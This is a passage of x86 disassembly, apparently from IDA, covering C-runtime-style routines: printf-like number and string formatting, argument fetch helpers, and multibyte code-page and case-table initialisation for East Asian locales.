loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBE0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF70
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF7C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF74
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBE0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CBF0


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCE0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28F0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC00[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBE8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CBF4[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9D0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9D0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9D0, 1
		jmp	near ptr 26809A0h
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9D0, 1
		nop
		jmp	near ptr 28F0792h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA14
		mov	dword_4DB9D0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28F0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1

